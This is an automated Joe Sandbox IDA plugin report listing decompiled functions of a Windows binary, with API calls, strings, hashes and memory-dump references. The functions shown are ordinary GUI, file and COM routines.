API ID: Rect$Window$InvalidateUpdate$CursorEmptyEventMouseOffsetRedrawTrack
String ID:
API String ID: 898900272-0
Opcode ID: f44cfa395ae84e5a75cf22e06b5b3ad1efdd4674c80543037bf5baf526d2eda8
Instruction ID: 44a3f421ae71f3cbfd92bebdaaef7c036aef86a4dc5d23fe98613d0fa3f57648
Opcode Fuzzy Hash: f44cfa395ae84e5a75cf22e06b5b3ad1efdd4674c80543037bf5baf526d2eda8
Instruction Fuzzy Hash: 71315BB2704B8097F7598B23D51879A77A2F788F85F440116CB4947BA0DF79D975CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000014005E294 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 414windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 000000014005E418

Strings

*?<>|, xrefs: 000000014005E536

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend
String ID: *?<>|
API String ID: 3850602802-3491500753
Opcode ID: 189567c8db9f998c3b384a030d883ac9a0580e8dbd92e0a00ae925a14ce7e0dc
Instruction ID: d04b4e73322d1e88e80239e2509df6a60a6e6297548a505dfe526319ef944143
Opcode Fuzzy Hash: 189567c8db9f998c3b384a030d883ac9a0580e8dbd92e0a00ae925a14ce7e0dc
Instruction Fuzzy Hash: 41028776705B8182EA05EB67E8953EE63A1F78DBD0F495012EF89837A6DF78C841C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000014008A008 Relevance: 10.8, APIs: 7, Instructions: 250windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 000000014008A03E

Part of subcall function 000000014003A798: GetWindowLongW.USER32 ref: 000000014003A7B5

GetTextExtentPoint32W.GDI32 ref: 000000014008A235

Part of subcall function 0000000140112F10: SendMessageW.USER32 ref: 0000000140112F47
Part of subcall function 0000000140112F10: SendMessageW.USER32 ref: 0000000140112F67
Part of subcall function 0000000140112F10: GetClassLongPtrW.USER32 ref: 0000000140112FEC
Part of subcall function 0000000140112F10: GetClassLongPtrW.USER32 ref: 0000000140113001

GetSystemMetrics.USER32 ref: 000000014008A092
GetSystemMetrics.USER32 ref: 000000014008A0A0
GetSystemMetrics.USER32 ref: 000000014008A0B4
GetSystemMetrics.USER32 ref: 000000014008A0C3
DrawIconEx.USER32 ref: 000000014008A154

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MetricsSystem$Long$ClassMessageSend$DrawExtentIconParentPoint32TextWindow
String ID:
API String ID: 2492759098-0
Opcode ID: cefacff278c3597989e92d034f42deb3e9b76a862fb833b296513c2a6cd9c292
Instruction ID: a3f7d2c106c1ef24765c38f413403dd9dc2ebf8af7e83e85ebc0c8878830683f
Opcode Fuzzy Hash: cefacff278c3597989e92d034f42deb3e9b76a862fb833b296513c2a6cd9c292
Instruction Fuzzy Hash: 3BA1BE36B10A408AEB06DF66E4487ED33A1B78DBD8F044225EF5A53BA5DF38C505C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014017834C Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 197windowCOMMON

Download Yara Rule

APIs

BringWindowToTop.USER32 ref: 000000014017862F

Part of subcall function 000000014003F674: GetCurrentThreadId.KERNEL32 ref: 000000014003F6A9
Part of subcall function 000000014003F674: SetWindowsHookExW.USER32 ref: 000000014003F6C0

SendMessageW.USER32 ref: 00000001401784AB

Part of subcall function 000000014003FBD8: UnhookWindowsHookEx.USER32 ref: 000000014003FC0D

BringWindowToTop.USER32 ref: 00000001401784E9
SendMessageW.USER32 ref: 000000014017852D
SendMessageW.USER32 ref: 0000000140178545

Strings

mdiclient, xrefs: 00000001401785D3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$BringHookWindowWindows$CurrentThreadUnhook
String ID: mdiclient
API String ID: 320092646-1999401180
Opcode ID: 61338ff33872063c71c3164406f07be044dc1fda79021bf4c167b97f8fa8890a
Instruction ID: 79fffb5a51818ca8cc11679eef1e11aab78abcecc438769c1460de8bfdc0f690
Opcode Fuzzy Hash: 61338ff33872063c71c3164406f07be044dc1fda79021bf4c167b97f8fa8890a
Instruction Fuzzy Hash: BA913736B05B808AEB55DFAAE4847EE37A1F788B88F144025EF4957BA9DF38C415C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401185F8 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173COMMON

Download Yara Rule

APIs

_cwprintf_s_l.LIBCMT ref: 000000014011869A

Part of subcall function 000000014003A690: GetDlgCtrlID.USER32 ref: 000000014003A6AA

_cwprintf_s_l.LIBCMT ref: 00000001401186AD

Strings

%TsDockablePaneAdapter-%d, xrefs: 0000000140118693
Panes, xrefs: 000000014011862E
%TsDockablePaneAdapter-%d%x, xrefs: 00000001401186A6
BarName, xrefs: 0000000140118740

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _cwprintf_s_l$Ctrl
String ID: %TsDockablePaneAdapter-%d$%TsDockablePaneAdapter-%d%x$BarName$Panes
API String ID: 1115312430-3329641806
Opcode ID: b8f725dec0edc425fc2445b1fb1bcc69b2e7ab45589596b726a634dfc755755e
Instruction ID: 4bf6d0f3dbf17712561a81f1ed357ecc2ba1d93b6984012d0177c530977eeaa4
Opcode Fuzzy Hash: b8f725dec0edc425fc2445b1fb1bcc69b2e7ab45589596b726a634dfc755755e
Instruction Fuzzy Hash: 68616876710A4081EB1AEB67E8517EC23A1B74DFE4F489126DF296B7A6DF38C841C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400A2580 Relevance: 10.7, APIs: 7, Instructions: 170windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00000001400A2655
SendMessageW.USER32(?,?,?,?,?,?,?,00000001400A1412), ref: 00000001400A2676
SendMessageW.USER32(?,?,?,?,?,?,?,00000001400A1412), ref: 00000001400A2696
NotifyWinEvent.USER32 ref: 00000001400A2730
GetParent.USER32 ref: 00000001400A278E
SendMessageW.USER32(?,?,?,?,?,?,?,?,?,?,?,00000001400A1412), ref: 00000001400A27AF
SendMessageW.USER32(?,?,?,?,?,?,?,?,?,?,?,00000001400A1412), ref: 00000001400A27DA

Part of subcall function 000000014003A690: GetDlgCtrlID.USER32 ref: 000000014003A6AA

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$Parent$CtrlEventNotify
String ID:
API String ID: 1661099750-0
Opcode ID: a857b6eadb130bcaaaffaf6670c48dbd7f4342e1ac77855a999cfb0adea4d5e5
Instruction ID: 11c587d979f819862aa14713adf658ae397684f3a62e734c92a90e81c922affd
Opcode Fuzzy Hash: a857b6eadb130bcaaaffaf6670c48dbd7f4342e1ac77855a999cfb0adea4d5e5
Instruction Fuzzy Hash: 4F61DC36704A9086EA16DF27E844BDA7760F79CBD4F090126EF4907BB5DFB8C9918B40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400DA540 Relevance: 10.7, APIs: 7, Instructions: 161COMMON

Download Yara Rule

APIs

GetObjectW.GDI32 ref: 00000001400DA5AD
CreateDIBSection.GDI32 ref: 00000001400DA665
SrcHashImpl::SrcHashImpl.MSPDB140-MSVCRT ref: 00000001400DA686
CreateCompatibleDC.GDI32 ref: 00000001400DA68E
SelectObject.GDI32 ref: 00000001400DA6A7
SelectObject.GDI32 ref: 00000001400DA740
DeleteObject.GDI32 ref: 00000001400DA75A

Part of subcall function 00000001400499C4: DeleteDC.GDI32 ref: 00000001400499EB

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Object$CreateDeleteHashSelect$CompatibleImplImpl::Section
String ID:
API String ID: 1775874395-0
Opcode ID: 51f9e9d826dca7b0014347c0b7d94b2dc800fb54e888fc19f24d8f4cbada8c02
Instruction ID: 7e16959ee8c83da223a3c9f6c7831cfb05562bc3d8ec48cdb5760227ea76ca61
Opcode Fuzzy Hash: 51f9e9d826dca7b0014347c0b7d94b2dc800fb54e888fc19f24d8f4cbada8c02
Instruction Fuzzy Hash: 33616836B04A408AEB15DFB6D4547ED33B2B789B98F044116DF1A677A9CF78C446C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401607D0 Relevance: 10.7, APIs: 7, Instructions: 153COMMON

Download Yara Rule

APIs

Part of subcall function 000000014015EA8C: GetDesktopWindow.USER32 ref: 000000014015EABF
Part of subcall function 000000014015EA8C: SetRectEmpty.USER32 ref: 000000014015EAF3
Part of subcall function 000000014015EA8C: SetRectEmpty.USER32 ref: 000000014015EB07
Part of subcall function 000000014015EA8C: CopyRect.USER32 ref: 000000014015EB19
Part of subcall function 000000014015EA8C: CopyRect.USER32 ref: 000000014015EB34

SetRectEmpty.USER32 ref: 000000014016081A
ClientToScreen.USER32 ref: 000000014016084D
IsRectEmpty.USER32 ref: 0000000140160872
GetParent.USER32 ref: 0000000140160880
GetCursorPos.USER32 ref: 00000001401608A8
IsRectEmpty.USER32 ref: 0000000140160975
EqualRect.USER32 ref: 0000000140160987

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Empty$Copy$ClientCursorDesktopEqualParentScreenWindow
String ID:
API String ID: 2235599899-0
Opcode ID: 192e31ff38b3db823627327d48c684ca060e3b4657926fd2cf1ba5ad67ff78f7
Instruction ID: dbca2dd95c2468c8f83ee38a7e5e8ecad4fcbbb016721990cf64161fa17f8cb3
Opcode Fuzzy Hash: 192e31ff38b3db823627327d48c684ca060e3b4657926fd2cf1ba5ad67ff78f7
Instruction Fuzzy Hash: 8E517C32B10A518AFB06DB769C447EE23A1B74CF98F084625DF4967BA9EF74C545C300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401F47E4 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001401F5093), ref: 00000001401F4845
WideCharToMultiByte.KERNEL32 ref: 00000001401F4927
WriteFile.KERNEL32 ref: 00000001401F494F
WriteFile.KERNEL32 ref: 00000001401F498E
GetLastError.KERNEL32 ref: 00000001401F49D3

Strings

pPE, xrefs: 00000001401F480F, 00000001401F486A, 00000001401F49B6

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID: pPE
API String ID: 3659116390-398285065
Opcode ID: bc47bc70fee7e2669ee02cb72f3868cf9f254ec8c5f3e64d7d56d91492d04545
Instruction ID: 8de276b883f6af7f0165b2036e86ca78fbfde1c3f50d4306bf3f9e26c13daf50
Opcode Fuzzy Hash: bc47bc70fee7e2669ee02cb72f3868cf9f254ec8c5f3e64d7d56d91492d04545
Instruction Fuzzy Hash: 0851A072710A948AE712CF76E8647DE3BB1F31CB98F04811ADF8A577A8DA74C556C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014007687C Relevance: 10.6, APIs: 7, Instructions: 136windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00000001400C04C8: IsWindow.USER32 ref: 00000001400C04DC

SendMessageW.USER32(00000000,?,?,0000000140076820,?,?,?,0000000140058134), ref: 0000000140076A63

Part of subcall function 00000001400BE87C: GetClientRect.USER32 ref: 00000001400BE8AF
Part of subcall function 00000001400BE87C: PtInRect.USER32 ref: 00000001400BE8C8

ScreenToClient.USER32 ref: 000000014007690B
PtInRect.USER32 ref: 000000014007691A
SendMessageW.USER32(?,?,0000000140076820,?,?,?,0000000140058134), ref: 0000000140076951
GetParent.USER32 ref: 0000000140076981
SendMessageW.USER32(?,?,0000000140076820,?,?,?,0000000140058134), ref: 0000000140076A06
GetFocus.USER32(?,?,0000000140076820,?,?,?,0000000140058134), ref: 0000000140076A0C

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageRectSend$Client$FocusParentScreenWindow
String ID:
API String ID: 1639644240-0
Opcode ID: ae340ce731b1ce987b767feb39e152654ba06708f94af1380e1c896fbf4ac1bf
Instruction ID: 69c9e708f2b2dcaf545ed0a3621ff7cc3a12f4c677ce1d34c31e0a421d7a3dcb
Opcode Fuzzy Hash: ae340ce731b1ce987b767feb39e152654ba06708f94af1380e1c896fbf4ac1bf
Instruction Fuzzy Hash: 12513A32305B4192EE57EB37E5547EA2391AB8DBD4F488021EF4A8B7B5EF78C8518700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014007810C Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 126COMMON

Download Yara Rule

APIs

_cwprintf_s_l.LIBCMT ref: 00000001400781A7

Part of subcall function 000000014003A690: GetDlgCtrlID.USER32 ref: 000000014003A6AA

_cwprintf_s_l.LIBCMT ref: 00000001400781BA

Strings

BasePanes, xrefs: 000000014007813B
IsVisible, xrefs: 0000000140078218
%TsBasePane-%d%x, xrefs: 00000001400781B3
%TsBasePane-%d, xrefs: 00000001400781A0

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _cwprintf_s_l$Ctrl
String ID: %TsBasePane-%d$%TsBasePane-%d%x$BasePanes$IsVisible
API String ID: 1115312430-2169875744
Opcode ID: 3459fbaaff882b436ec557462fc04d908743a778c7acd70f3f49e64d9a2c1d84
Instruction ID: 358c6491ad022ff9ec3b91f705a0847f60e1e80446ff04c2547cd85e78efa1f4
Opcode Fuzzy Hash: 3459fbaaff882b436ec557462fc04d908743a778c7acd70f3f49e64d9a2c1d84
Instruction Fuzzy Hash: 14516B72700A9081EA16DBA7D8417EC27A1B74DFE4F498216EF29277E6CF38C942C340

Uniqueness

Uniqueness Score: -1.00%

Function 000000014004C210 Relevance: 10.6, APIs: 7, Instructions: 126timeCOMMON

Download Yara Rule

APIs

FileTimeToLocalFileTime.KERNEL32 ref: 000000014004C2AB
FileTimeToSystemTime.KERNEL32 ref: 000000014004C2C0
GetFileAttributesExW.KERNEL32 ref: 000000014004C2EB
FileTimeToLocalFileTime.KERNEL32 ref: 000000014004C2FE
FileTimeToSystemTime.KERNEL32 ref: 000000014004C310
FileTimeToLocalFileTime.KERNEL32 ref: 000000014004C33F
FileTimeToSystemTime.KERNEL32 ref: 000000014004C351

Part of subcall function 000000014004BCC0: GetModuleHandleW.KERNEL32 ref: 000000014004BCF7
Part of subcall function 000000014004BCC0: GetProcAddress.KERNEL32 ref: 000000014004BD0C

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Time$File$LocalSystem$AddressAttributesHandleModuleProc
String ID:
API String ID: 1857739635-0
Opcode ID: 0d3b4897b387e64fdd0c0b14e4f908316fec42befe67bed359aedefbe142d509
Instruction ID: f929bb9150d8b2965758582f1c8dc1743656dbba21a272fe9a7c5575bb070c4c
Opcode Fuzzy Hash: 0d3b4897b387e64fdd0c0b14e4f908316fec42befe67bed359aedefbe142d509
Instruction Fuzzy Hash: C1518972720A4594FB52CFB6D9507ED23B5F708B88F418621EF0A8B6A8EFB0C605C344

Uniqueness

Uniqueness Score: -1.00%

Function 000000014003807C Relevance: 10.6, APIs: 7, Instructions: 113windowthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140037F6C: GetWindowLongW.USER32 ref: 0000000140037FE3
Part of subcall function 0000000140037F6C: GetParent.USER32 ref: 0000000140037FF2
Part of subcall function 0000000140037F6C: GetParent.USER32 ref: 0000000140038011
Part of subcall function 0000000140037F6C: GetLastActivePopup.USER32 ref: 0000000140038029
Part of subcall function 0000000140037F6C: IsWindowEnabled.USER32 ref: 000000014003803F
Part of subcall function 0000000140037F6C: EnableWindow.USER32(?,?,?,00000001400380BF), ref: 0000000140038056

EnableWindow.USER32 ref: 00000001400380D1
GetWindowThreadProcessId.USER32 ref: 00000001400380EA
GetCurrentProcessId.KERNEL32 ref: 00000001400380F5
SendMessageW.USER32 ref: 000000014003810F
MessageBoxW.USER32 ref: 0000000140038183
EnableWindow.USER32 ref: 00000001400381A4
GetModuleFileNameW.KERNEL32 ref: 00000001400381EB

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$Enable$MessageParentProcess$ActiveCurrentEnabledFileLastLongModuleNamePopupSendThread
String ID:
API String ID: 2633877278-0
Opcode ID: b8ace73f127b3bd9ea2b160f444a73e18a58572721acac87967515a9266b2455
Instruction ID: 6894b5680ce31aa1d6c6d0963d5a03252c7fea749bb45b3d5ff49dfbb8374840
Opcode Fuzzy Hash: b8ace73f127b3bd9ea2b160f444a73e18a58572721acac87967515a9266b2455
Instruction Fuzzy Hash: E141D27231078046FA779B23A854BDB6795FB8CBD4F481525EF4A4BBB4DB78C8468700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140006580 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

Part of subcall function 0000000140024410: InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 0000000140024485
Part of subcall function 0000000140024410: GetLastError.KERNEL32 ref: 000000014002448F

CoInitializeEx.OLE32 ref: 00000001400065EA

Strings

CoInitializeEx(0, %d) returned hr=0x%08X., xrefs: 0000000140006608
Failed to get the ServerConnection instance., xrefs: 00000001400066D6
CServerConnectionInstance::CServerConnectionInstance, xrefs: 000000014000660F
SBAM.Common, xrefs: 0000000140006616, 00000001400066E4
CServerConnection::SynchronizeConnectionState, xrefs: 00000001400066DD

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
